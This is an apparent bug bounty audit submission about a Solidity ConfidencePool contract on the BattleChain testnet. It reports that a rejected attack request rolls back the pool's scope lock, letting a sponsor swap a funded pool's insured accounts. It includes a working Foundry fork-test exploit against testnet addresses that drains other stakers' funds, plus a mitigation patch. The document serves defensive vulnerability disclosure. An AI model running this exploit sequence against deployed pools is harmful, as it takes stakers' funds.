FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

A soft-rejected attack request restores the mutable scope of an already-funded pool

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: The pool freezes its account scope permanently the first time it observes the registry past pre-attack staging, so existing stakers keep underwriting exactly the account list they accepted; only a successful stake()/contributeBonus() (or a lock path that does not revert) persists that scopeLocked flag.

  • Specific issue: When the first post-staging state observed is ATTACK_REQUESTED, both public lock paths (setPoolScope, pokeRiskWindow) set scopeLocked and then revert, rolling it back to false, and the sponsor suppresses the deposit paths with pause(). The registry's ordinary soft rejection returns the agreement ATTACK_REQUESTED -> NOT_DEPLOYED (a first-class, re-registerable legal transition), so the sponsor calls setPoolScope() on the already-funded pool, swaps the account list to one that will be corrupted, re-enters the normal lifecycle, and the corruption sweeps the whole pool away from stakers who only agreed to the original account — no impossible registry rewind involved.

// src/ConfidencePool.sol
function setPoolScope(address[] calldata accounts) external onlyOwner {
_observePoolState(); // @> sets scopeLocked = true on ATTACK_REQUESTED
if (scopeLocked) revert ScopePostLockImmutable(); // @> reverts here -> the scopeLocked write is rolled back
_replaceScope(accounts);
}
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState(); // @> sets scopeLocked = true
// ATTACK_REQUESTED seals no risk-window marker:
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached(); // @> reverts -> rollback
}

Risk

Likelihood:

  • WHEN a funded pool's sponsor retains the agreement's attack-request role, pauses the pool to suppress the stake/bonus paths that would persist the lock, and requests attack mode — every lock path reachable in ATTACK_REQUESTED (pokeRiskWindow, setPoolScope) reverts and rolls scopeLocked back to false.

  • WHEN the DAO issues its ordinary soft rejection (rejectAttackRequest: ATTACK_REQUESTED - NOT_DEPLOYED, officially re-registerable), the sponsor replaces the funded pool's scope and re-requests attack mode; the pool relocks around the swapped account.

Impact:

  • Existing stakers lose the pool's entire principal and bonus to a settlement over an account they never agreed to insure — the pool's core reliance guarantee (exposure bounded by the scope staked against) is broken for a fully-funded pool.

  • The attack is asymmetric: the sponsor need not stake. A fork run with the sponsor staking nothing and two third parties funding the pool shows the third parties losing 100% (200e18) while the sponsor's capital at risk is zero. Victims cannot self-rescue — the swap happens inside the brief rejected-request window, and once the pool re-seals, withdraw() is permanently disabled.

Proof of Concept

Differential fork test on the live BattleChain testnet: a control pool and a mutated pool are funded identically; only the mutated pool undergoes the reject-then-replace sequence. Save as test/fork/RejectedRequestScopeRelockBypass.fork.t.sol and run with BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-contract RejectedRequestScopeRelockBypassForkTest -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {
AgreementDetails,
Account as AgreementAccount,
Chain as AgreementChain,
ChildContractScope
} from "@battlechain/types/AgreementTypes.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract RejectedRequestScopeRelockBypassForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address internal constant REGISTRY_MODERATOR = 0x1bC64E6F187a47D136106784f4E9182801535BD3;
address internal constant TEMPLATE_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant SPONSOR = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
uint256 internal constant PIN_BLOCK = 16_000;
string internal constant CAIP2 = "eip155:627";
address internal originalAccount = makeAddr("relock-original-scope");
address internal breachAccount = makeAddr("relock-breach-scope");
address internal honestStaker = makeAddr("relock-honest-staker");
address internal bonusContributor = makeAddr("relock-bonus-contributor");
address internal poolModerator = makeAddr("relock-pool-moderator");
address internal whitehat = makeAddr("relock-whitehat");
address internal recovery = makeAddr("relock-recovery");
IAttackRegistry internal registry = IAttackRegistry(ATTACK_REGISTRY);
MockERC20 internal token;
ConfidencePool internal controlPool;
ConfidencePool internal mutatedPool;
address internal agreement;
function setUp() external {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
agreement = _createAgreementWithBothAccounts();
ConfidencePool impl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(impl), poolModerator))
)
)
);
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory initialScope = new address[](1);
initialScope[0] = originalAccount;
uint256 expiry = block.timestamp + 31 days;
vm.startPrank(SPONSOR);
controlPool = ConfidencePool(factory.createPool(agreement, address(token), expiry, 1, recovery, initialScope));
mutatedPool = ConfidencePool(factory.createPool(agreement, address(token), expiry, 1, recovery, initialScope));
vm.stopPrank();
_fund(controlPool);
_fund(mutatedPool);
}
function testRejectedRequestReopensFundedPoolScope() external {
vm.prank(SPONSOR);
mutatedPool.pause();
vm.prank(SPONSOR);
IAgreement(agreement).extendCommitmentWindow(block.timestamp + 7 days);
vm.prank(SPONSOR);
registry.requestUnderAttackForUnverifiedContracts(agreement);
assertEq(uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.ATTACK_REQUESTED));
vm.prank(honestStaker);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
mutatedPool.pokeRiskWindow();
assertFalse(mutatedPool.scopeLocked());
vm.prank(honestStaker);
vm.expectRevert(IConfidencePool.PoolPaused.selector);
mutatedPool.contributeBonus(1);
assertFalse(mutatedPool.scopeLocked());
address[] memory replacement = new address[](1);
replacement[0] = breachAccount;
vm.prank(SPONSOR);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
mutatedPool.setPoolScope(replacement);
assertFalse(mutatedPool.scopeLocked());
assertTrue(mutatedPool.isAccountInScope(originalAccount));
vm.prank(REGISTRY_MODERATOR);
registry.rejectAttackRequest(agreement, false);
assertEq(uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.NOT_DEPLOYED));
vm.prank(SPONSOR);
mutatedPool.setPoolScope(replacement);
assertFalse(mutatedPool.isAccountInScope(originalAccount));
assertTrue(mutatedPool.isAccountInScope(breachAccount));
assertTrue(controlPool.isAccountInScope(originalAccount));
vm.prank(SPONSOR);
registry.requestUnderAttackForUnverifiedContracts(agreement);
vm.prank(REGISTRY_MODERATOR);
registry.approveAttack(agreement);
controlPool.pokeRiskWindow();
mutatedPool.pokeRiskWindow();
assertTrue(controlPool.scopeLocked());
assertTrue(mutatedPool.scopeLocked());
vm.prank(REGISTRY_MODERATOR);
registry.instantCorrupt(agreement);
vm.startPrank(poolModerator);
controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
mutatedPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.stopPrank();
vm.prank(whitehat);
mutatedPool.claimAttackerBounty();
assertEq(token.balanceOf(whitehat), 200e18, "mutated-scope stakers lose the whole pool");
vm.prank(SPONSOR);
controlPool.claimSurvived();
vm.prank(honestStaker);
controlPool.claimSurvived();
assertEq(token.balanceOf(SPONSOR), 133_333333333333333333);
assertEq(token.balanceOf(honestStaker), 66_666666666666666666);
}
function _createAgreementWithBothAccounts() internal returns (address created) {
AgreementDetails memory details = IAgreement(TEMPLATE_AGREEMENT).getDetails();
details.protocolName = "relock-scope-mutation";
details.agreementURI = "ipfs://relock-scope-mutation";
details.chains = new AgreementChain[](1);
details.chains[0].caip2ChainId = CAIP2;
details.chains[0].assetRecoveryAddress = vm.toString(recovery);
details.chains[0].accounts = new AgreementAccount[](2);
details.chains[0].accounts[0] =
AgreementAccount({accountAddress: vm.toString(originalAccount), childContractScope: ChildContractScope.None});
details.chains[0].accounts[1] =
AgreementAccount({accountAddress: vm.toString(breachAccount), childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
created = IAgreementFactory(AGREEMENT_FACTORY).create(details, SPONSOR, keccak256("relock-scope-mutation"));
}
function _fund(ConfidencePool target) internal {
_stakeInto(target, SPONSOR, 100e18);
_stakeInto(target, honestStaker, 50e18);
token.mint(bonusContributor, 50e18);
vm.startPrank(bonusContributor);
token.approve(address(target), 50e18);
target.contributeBonus(50e18);
vm.stopPrank();
}
function _stakeInto(ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
}

Passing result: the mutated pool pays the whitehat the full 200e18; the control pool returns
133.33 / 66.67 — the two differ only by the scope swap this bug enables.

Recommended Mitigation

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ... existing checks ...
if (!expiryLocked) {
expiryLocked = true;
+ // A funded pool must not reinterpret the account list its stakers accepted.
+ if (!scopeLocked) {
+ scopeLocked = true;
+ emit ScopeLocked(block.timestamp);
+ }
}

Freeze scope on the first stake (staker reliance), removing any dependence on a later registry observation. If the post-staging policy must stay, give _observePoolState() a non-reverting way to persist the lock in ATTACK_REQUESTED so a rejected request cannot reopen a funded pool's scope.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!